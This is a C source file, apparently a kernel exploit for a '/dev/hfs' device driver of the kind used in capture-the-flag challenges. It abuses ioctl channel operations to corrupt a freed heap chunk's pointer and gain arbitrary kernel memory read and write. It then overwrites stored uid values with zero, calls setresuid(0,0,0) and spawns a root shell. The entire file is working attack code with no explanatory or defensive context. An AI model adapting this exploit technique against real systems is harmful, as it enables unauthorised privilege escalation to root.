1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155
| #include <fcntl.h>
#define CHANNEL_CREATE 0xABCD0001 #define CHANNEL_DELETE 0xABCD0002 #define CHANNEL_READ 0xABCD0003 #define CHANNEL_WRITE 0xABCD0004
struct channel_info { long id; long size; char *buffer; };
int ioctl(int fd, unsigned long request, unsigned long param) { return syscall(16, fd, request, param); }
void create_channel(int fd, int id, int size) { struct channel_info channel;
channel.id = id; channel.size = size;
ioctl(fd, CHANNEL_CREATE, &channel); }
void delete_channel(int fd, long id) { ioctl(fd, CHANNEL_DELETE, &id); }
void read_channel(int fd, int id, char *dest, int size) { struct channel_info channel;
channel.id = id; channel.size = size; channel.buffer = dest;
ioctl(fd, CHANNEL_READ, &channel); }
void write_channel(int fd, int id, char *src, int size) { struct channel_info channel;
channel.id = id; channel.size = size; channel.buffer = src;
ioctl(fd, CHANNEL_WRITE, &channel); }
void read_data(int fd, long address, char *dest, long size) { printf("[+] Read data from %p\n", address);
long pPayload[3] = { 9, address, 0xffffffffffffffff};
write_channel(fd, 4, pPayload, 0x18);
memset(dest, 0, size); read_channel(fd, 9, dest, size); }
void write_data(int fd, long address, char *src, long size) { printf("[+] Write data to %p\n", address);
long pPayload[3] = { 9, address, 0xffffffffffffffff};
write_channel(fd, 4, pPayload, 0x18); write_channel(fd, 9, src, size); }
long read_address(int fd, long address) { printf("[+] Read address from %p\n", address); long result = 0; read_data(fd, address, &result, 0x8);
return result; }
void write_address(int fd, long address, long value) { printf("[+] Write '%p' to '%p'\n", value, address);
long pPayload[3] = { 9, address, 0x3000};
write_channel(fd, 4, pPayload, 0x18);
write_channel(fd, 9, &value, 4); }
int main(int argc, char *argv) { int fd;
printf("[+] Open hfs device\n"); fd = open("/dev/hfs", O_RDWR);
printf("[+] Create initial channels\n");
char payload[0x1000]; memset(payload, 0, 0x100);
create_channel(fd, 1, 0x20); create_channel(fd, 2, 0x20); create_channel(fd, 3, 0x20); create_channel(fd, 4, 0x20); create_channel(fd, 5, 0x20); create_channel(fd, 6, 0x20); memset(payload, 0x41, 0x20);
printf("[+] Free channel 3\n"); delete_channel(fd, 3);
payload[0x20] = 0x40;
printf("[+] Overwrite LSB of channel 3 FD\n"); write_channel(fd, 2, payload, 0x21);
printf("[+] Recreate channel 3 (with different chunk size)\n"); create_channel(fd, 8, 0x40);
printf("[+] Create next channel (inside channel 4 data)\n"); create_channel(fd, 9, 0x40);
char *kernel_mem = malloc(0x800000);
read_data(fd, 0xffff880006610000, kernel_mem, 0x800000);
unsigned int* pPay = (unsigned int*)kernel_mem;
for(int i=0; i<0x800000; i+=4) { if (*pPay++ == 1000) { write_address(fd, (0xffff880006610000+i), 0x0); } }
setresuid(0, 0, 0); system("/bin/sh");
printf("[+] End"); close(fd);
return 0; }
|